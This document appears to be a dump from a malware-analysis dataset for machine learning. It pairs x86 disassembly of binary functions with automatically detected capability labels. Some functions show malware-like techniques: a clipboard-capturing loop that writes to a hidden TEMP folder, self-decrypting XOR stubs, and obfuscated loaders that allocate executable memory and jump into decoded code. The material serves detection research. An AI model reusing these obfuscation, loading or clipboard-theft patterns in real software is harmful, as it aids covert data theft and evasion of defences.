joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5e352c
Capabilities:
Encrypt data using aes

Disassembly:
mov bl, ch
jmp 0x5e33e3
bsr bp, di
lea esp, [esp + 4]
movzx esi, byte [eax + 0xe]
mov di, 0xd22c
setl bl
jmp 0x5e343f
xor edx, esi
mov si, 0x2cb0
mov bl, 0x8f
mov ebp, dword [esp]
neg si
jmp 0x5e3465
xor edx, eax
pushfd
sbb bp, bp
lea esp, [esp + 3]
lea esp, [esp]
jmp 0x5e344f
movzx eax, byte [eax + 0xf]
lea edi, [eax*4]
shl edx, 8
jmp 0x5e3414
lea esp, [esp + 1]
jmp 0x5e34ba
shl edx, 8
mov bl, byte [esp]
lea ebp, [ebx*4]
bsr si, ax
jmp 0x5e3424
mov dword [esi], edx
pop esi
setge bl
mov ah, 0x51
mov eax, edx
jmp 0x5e34f3
push esi
mov esi, ecx
lea esi, [esi + 0xc]
jmp 0x5e349c
xor eax, 0x1000000
bts di, cx
jmp 0x5e3515
mov eax, dword [eax*4 + 0x5c0dc0]
dec bh
mov bx, sp
jmp 0x5e34c2
shr eax, 0x10
mov esi, 0xff
and eax, esi
jmp 0x5e34d8
bsr bp, bp
dec ebp
mov bx, word [esp]
mov bh, 0x9c
jmp 0x5e3522
pushal
mov dword [esp], edx
push di
lea esp, [esp + 2]
popal
jmp 0x5e34ff
shr edi, 8
stc
call 0x5e352c
test al, 0x66
mov ebp, dword [esp + 2]
mov bl, byte [esp]
jmp 0x5e3580
mov bp, 0x661b
mov ebp, edi
lea esp, [esp + 4]
and edi, 0xff0000
jmp 0x5e35ab
and edi, esi
lea ebp, [0x19079fd0]
mov edi, dword [edi*4 + 0x5c0dc0]
mov bp, word [esp]
jmp 0x5e355e
clc
mov bp, 0xda6e
jmp 0x5e35bd
mov ebx, dword [ecx + 4]
not ebp
lea ebp, [esi + 0xbf0c]
and eax, 0xff000000
jmp 0x5e3595
xor eax, edi
mov edi, edx
mov bp, word [esp]
not ebp
jmp 0x5e3631
bswap edi
mov di, word [esp]
jmp 0x5e3616
mov ebp, 0xa7fcab04
mov bp, 0xd79e
xor eax, edi
lea ebp, [ebx*4]
mov ebp, 0x8b47f612
jmp 0x5e35e7
mov edi, edx
mov bp, word [esp]
jmp 0x5e3694
mov bp, word [esp]
shr edi, 0x18
clc
movzx edi, byte [edi*4 + 0x5c0dc0]
jmp 0x5e35fd
lea esp, [esp + 8]
mov ebp, 0xff00
and edi, ebp
push dx
add esp, 1
jmp 0x5e3676
lea esp, [esp + 3]
mov edi, dword [edi*4 + 0x5c0dc0]
mov ebp, dword [esp]
lea ebp, [eax + ecx]
jmp 0x5e3643
mov byte [esp], al
lea esp, [esp + 1]
xor eax, edi
lea edi, [edx + ebx]
jmp 0x5e36a7
and edi, esi
mov ebp, 0x4d9ad097
bsf bp, ax
mov ebp, dword [esp]
sub esp, 0xb
jmp 0x5e3663
xor eax, dword [ecx]
lea edi, [edx*4]
jmp 0x5e3841
lea edi, [ecx + 0x10]
xor ebx, eax
call fcn.005e37a5
Function at 0x401350
Capabilities:
Check if file exists
Create directory
Get file attributes
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc4
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
nop dword [eax]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x40143d
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x40143d
push 0x1f4
lea eax, [ebp - 0x7d8]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0x3f0]
push str._swrss
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4013eb
push 0
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0xbc0]
push str._scb
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xbc0]
push 0x40320c
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
push ebx
mov esi, eax
push 0x403424
push esi
call fcn.00401010
add esp, 0x14
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401370

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401ce0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401cf9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401d34
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401d30
lea ebx, [ebx]
cmp esi, eax
jae 0x401d34
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401d20
cmp esi, eax
jb 0x401d3a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401e00
Capabilities:
Enumerate pe sections

Disassembly:
leave
jne 0x401de5
push 0x80004005
call fcn.004019e0
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
call edx
add eax, 0x10
mov dword [esi], eax
mov eax, esi
pop esi
ret 4
push ecx
mov eax, dword [esp + 0x10]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [eax]
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
push ebp
push esi
push edi
lea ecx, [ecx + eax + 0x18]
mov dword [esp + 0x10], 0
jbe 0x401ef2
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea esi, [ecx + 0xc]
cmp dword [esi + 4], 0
jne 0x401e87
jae 0x401e53
jb 0x401e53
mov ebx, 0xbc0760c9
into
js 0x401dd8
pop es
mov eax, dword [0xe1c3801d]
inc esi
mov edx, dword [esp + 0x1c]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x401ed2
mov eax, dword [esi]
push 4
push 0x1000
push edi
add eax, ebx
push eax
call ebp
test eax, eax
je 0x401efd
mov eax, dword [esi]
push edi
add eax, ebx
push 0
push eax
mov dword [esi - 4], eax
call fcn.0041f900
jmp 0x401ecf
js 0x401ea0
jns 0x401ea0
pop esi
pushfd
in al, dx
invalid
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push 4
push 0x1000
push ecx
add edx, ebx
push edx
call ebp
test eax, eax
je 0x401efd
mov ecx, dword [esi + 8]
mov eax, dword [esi + 4]
add ecx, dword [esp + 0x18]
mov edi, dword [esi]
push eax
add edi, ebx
push ecx
push edi
call fcn.00423740
mov dword [esi - 4], edi
add esp, 0xc
mov edx, dword [esp + 0x20]
mov ecx, dword [edx]
mov eax, dword [esp + 0x10]
movzx edx, word [ecx + 6]
add eax, 1
add esi, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x401e32
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x401fe0
Capabilities:
Enumerate pe sections

Disassembly:
inc esp
and al, 8
push eax
push edx
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
pop ecx
ret
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x2c]
mov esi, dword [edi]
movzx eax, word [esi + 0x14]
mov edx, dword [edi + 0x30]
mov ecx, dword [eax + esi + 0x20]
sub edx, 1
lea eax, [eax + esi + 0x18]
not edx
and edx, ecx
mov dword [esp + 0x14], ecx
mov ecx, dword [eax + 0x10]
test ecx, ecx
mov dword [esp + 0x18], edx
jne 0x402048
mov ebx, dword [eax + 0x24]
test bl, 0x40
je 0x402041
jb 0x40203a
jae 0x40203a
jp 0x401fc1
ret
mov ecx, dword [edi]
mov ecx, dword [ecx + 0x20]
jmp 0x402048
test bl, bl
jns 0x402048
mov ecx, dword [esi + 0x24]
mov dword [esp + 0x1c], ecx
mov ecx, dword [eax + 0x24]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0
add eax, 0x28
je 0x40207d
jne 0x40207d
adc al, 0x17
jp 0x4020ea
lodsb al, byte [esi]
push 0x75
invalid
mov ecx, dword [edi]
mov esi, 1
cmp word [ecx + 6], si
mov dword [esp + 0x10], esi
jbe 0x40218a
lea ebx, [eax + 0x24]
mov esi, dword [edi + 0x30]
mov ebp, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
sub esi, 1
not esi
and esi, ebp
test edi, edi
jne 0x4020e1
mov eax, dword [ebx]
test al, 0x40
je 0x4020da
jb 0x4020cf
jae 0x4020cf
cdq
cli
dec ecx
cmp byte [eax + 0x35], cl
pop es
hlt
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edi, dword [ecx + 0x20]
jmp 0x4020e1
test al, al
jns 0x4020e1
mov edi, dword [ecx + 0x24]
cmp edx, esi
je 0x402136
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
dec esp
and al, 0x14
add eax, ecx
cmp eax, esi
ja 0x402136
jmp 0x40210f
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x14]
call fcn.00401f10
test eax, eax
je 0x4021ab
mov eax, dword [ebx]
mov edx, esi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], eax
jmp 0x402162
mov eax, dword [ebx]
test eax, 0x2000000
je 0x40214f
test dword [esp + 0x20], 0x2000000
je 0x40214f
or dword [esp + 0x20], eax
jmp 0x40215c
or eax, dword [esp + 0x20]
and eax, 0xfdffffff
mov dword [esp + 0x20], eax
sub edi, dword [esp + 0x14]
add edi, ebp
mov ecx, dword [esp + 0x2c]
mov ecx, dword [ecx]
mov eax, dword [esp + 0x10]
movzx esi, word [ecx + 6]
add eax, 1
add ebx, 0x28
cmp eax, esi
mov dword [esp + 0x1c], edi
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
jl 0x402095
lea ecx, [esp + 0x14]
mov edx, edi
mov dword [esp + 0x24], 1
call fcn.00401f10
pop edi
neg eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x18
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x431b24
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4425e0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00431ab9
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0041f900
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x431b73
cmp dword [ebp - 0x1c], 5
jb 0x431b8b
jmp 0x431b87
cmp dword [ebp - 0x10], 1
jne 0x431b8b
cmp dword [ebp - 0x1c], 4
ja 0x431b87
jne 0x431b8b
cmp dword [ebp - 0x18], 0
jbe 0x431b8b
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4393a0
call fcn.0043198d
test eax, eax
jge 0x431bac
mov byte [0x886434], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041e49d
add ebp, 0x78
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x10005d2b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10005d3a
pop dword [ebp - 0x50]
mov eax, 0xaf3734a4
sub eax, 0x9f36d76a
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xad975b94
sub dword [ebp - 0x60], 0x5f451649
mov dword [ebp - 0x5c], 0xd82badd2
sub dword [ebp - 0x5c], 0xa5f8618d
mov dword [ebp - 0x58], 0xd9fa4145
sub dword [ebp - 0x58], 0x8dadfd17
mov dword [ebp - 0x54], 0x1f04b406
add dword [ebp - 0x54], 0xe0fb4bfa
lea eax, [ebp - 0x60]
push eax
mov eax, 0x269b7f07
add eax, 0xe966719d
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x470e19aa
sub dword [ebp - 0x60], 0xd29bb054
mov dword [ebp - 0x5c], 0x14bb620d
sub dword [ebp - 0x5c], 0xd34f0098
mov dword [ebp - 0x58], 0x5fa1f973
sub dword [ebp - 0x58], 0xfc328d07
mov dword [ebp - 0x54], 0xba6d0efd
add dword [ebp - 0x54], 0x4592f103
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xa2bb4e6d
sub eax, 0x92b95dd1
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3c6b3
push 0
call eax
mov ecx, 0x4d68
xor edi, edi
add edi, eax
mov esi, 0x7b7779b4
add esi, 0x948b204c
add esi, dword [ebp - 0x50]
mov ebx, 0xc47f4c1e
add ebx, 0xa533fa45
add dword [ebp - 0x28], 0x53d3c00f
mov edx, dword [esi]
mov dword [ebp - 0x24], 0xd3ef524
sub edx, ebx
xor dword [ebp - 8], 0x69f579ae
mov dword [edi], edx
mov dword [ebp - 0x20], 0x8e7647c
add edi, 0x5e4eb1b1
add edi, 0xa1b14e53
add esi, 0xfc2be41a
add esi, 0x3d41bea
loop 0x10005e58
add eax, 0x5fa296e1
add eax, 0xa05e9192
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x1d54f15f
add ecx, 0xf2ab0ea1
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
Function at 0x1001cf62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x100269c0], al
je 0x1001cf99
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cffd
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10005d2b
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10005d2b
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.10005d2b
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ddeb
leave
ret 0x10

Function at 0x1001d00e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d03a
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d06b
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d069
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10005d2b
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d06b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ddeb
leave
ret 8

Function at 0x1001d106
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
mov eax, dword [ebp + 8]
je 0x1001d12e
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001d148
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10005d2b
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1001ddeb
leave
ret 4

Function at 0x1001ddeb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100268b0]
jne 0x1001ddf5
repz ret
jmp fcn.1001e62c
Function at 0x100024f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063c15
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x100988d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
push dword [esi + 0xc]
mov ecx, dword [0x10099dfc]
lea eax, [ebp - 0x14]
push eax
call fcn.10044da0
mov edi, dword [ebp + 8]
mov ecx, edi
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_bool___thiscall_ScCore::String::operator_class_ScCore::String_const__const]
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
mov bl, al
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_]
test bl, bl
je 0x1000261b
mov edi, dword [esi + 8]
mov eax, dword [esi + 0xc]
push 0
push 1
mov esi, dword [edi]
push 0
push eax
push eax
mov esi, dword [esi + 4]
mov ecx, esi
call dword [0x10070958]
mov ecx, edi
call esi
mov esi, eax
test esi, esi
je 0x10002605
push 0
push dword [esi + 0x14]
lea ecx, [ebp - 0x10]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::constructor_char_const___class_ScCore::Encoder_const__]
push 0x2c
mov dword [ebp - 4], 1
call dword [sym.imp.ScCore.dll_public:_static_void____cdecl_ScCore::Heap::operator_new_unsigned_int_]
add esp, 4
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 2
test eax, eax
je 0x100025e4
push 0
lea ecx, [ebp - 0x10]
push ecx
push dword [esi + 0xc]
mov ecx, eax
push dword [esi + 4]
call fcn.10044da0
lea ecx, [ebp - 0x10]
mov esi, eax
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x10]
xor esi, esi
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::String::destructor_void_]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [edi]
mov ecx, dword [0x10099dfc]
add eax, 0xc
push eax
call fcn.10044da0
mov ecx, dword [esi]
push eax
mov esi, dword [ecx + 0x30]
mov ecx, esi
call dword [0x10070958]
mov ecx, dword [ebp - 0x18]
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004300
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006408f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x100988d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, esi
and eax, 0xe0000000
cmp eax, 0x20000000
jg 0x100043cc
je 0x100043c7
cmp eax, 0x80000000
je 0x100043c7
test eax, eax
jne 0x100043d3
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::constructor_void_]
mov eax, dword [0x10099e0c]
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0xa
mov ecx, dword [eax]
test ecx, ecx
je 0x1000437e
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::acquire_void_]
mov ecx, dword [edi]
push esi
mov byte [ebp - 4], 1
call fcn.10044da0
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::setString_unsigned_short_int_const__]
mov eax, dword [0x10099e0c]
mov byte [ebp - 4], 2
mov ecx, dword [eax]
test ecx, ecx
je 0x100043ac
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::release_void_]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_double___thiscall_ScCore::Variant::getDouble_void_const]
lea ecx, [ebp - 0x2c]
fstp qword [ebp - 0x14]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::destructor_void_]
jmp 0x100043ef
xorps xmm0, xmm0
jmp 0x100043ea
cmp eax, 0x40000000
je 0x100043df
and esi, 0x1fffffff
movd xmm0, esi
jmp 0x100043e6
movzx eax, si
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10044da0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10044daf
pop dword [ebp - 0x2c]
mov eax, 0x10044daf
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xcdba3093
sub dword [ebp - 0x3c], 0x7f67eb48
mov dword [ebp - 0x38], 0x2bd19712
add dword [ebp - 0x38], 0x661b533
mov dword [ebp - 0x34], 0x7d41ef61
add dword [ebp - 0x34], 0xcf0a54cd
mov dword [ebp - 0x30], 0xb8837de
add dword [ebp - 0x30], 0xf477c822
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x355e207f
add eax, 0xdaa8df85
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xa1492487
add dword [ebp - 0x3c], 0xd32944cf
mov dword [ebp - 0x38], 0xf9c65926
add dword [ebp - 0x38], 0x47a6084f
mov dword [ebp - 0x34], 0x24d574b9
add dword [ebp - 0x34], 0x3e99f7b3
mov dword [ebp - 0x30], 0xd42c8c43
add dword [ebp - 0x30], 0x2bd373bd
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x1c01df1f
sub eax, 0xbfadf17
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x46d15
push 0
call eax
mov ecx, 0x491f
mov ebx, eax
mov edi, 0x5afcf5e3
sub edi, 0x4af257e3
add edi, dword [ebp - 0x2c]
mov edx, 0xbc59c897
add edx, 0xbec16448
mov dword [ebp - 0x20], 0x6470a8bf
mov esi, dword [edi]
sub esi, edx
xor dword [ebp - 0x20], esi
mov dword [ebx], esi
xor dword [ebp - 0x28], edx
add ebx, 4
add edi, 0x6865e758
sub edi, 0x6865e754
loop 0x10044ec6
add eax, 0xa4faf729
sub eax, 0xa4f9dfda
mov ebx, eax
add eax, 0xb777a57a
sub eax, 0xb777a575
mov ecx, 0xb0453811
add ecx, 0x5fbac7ef
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret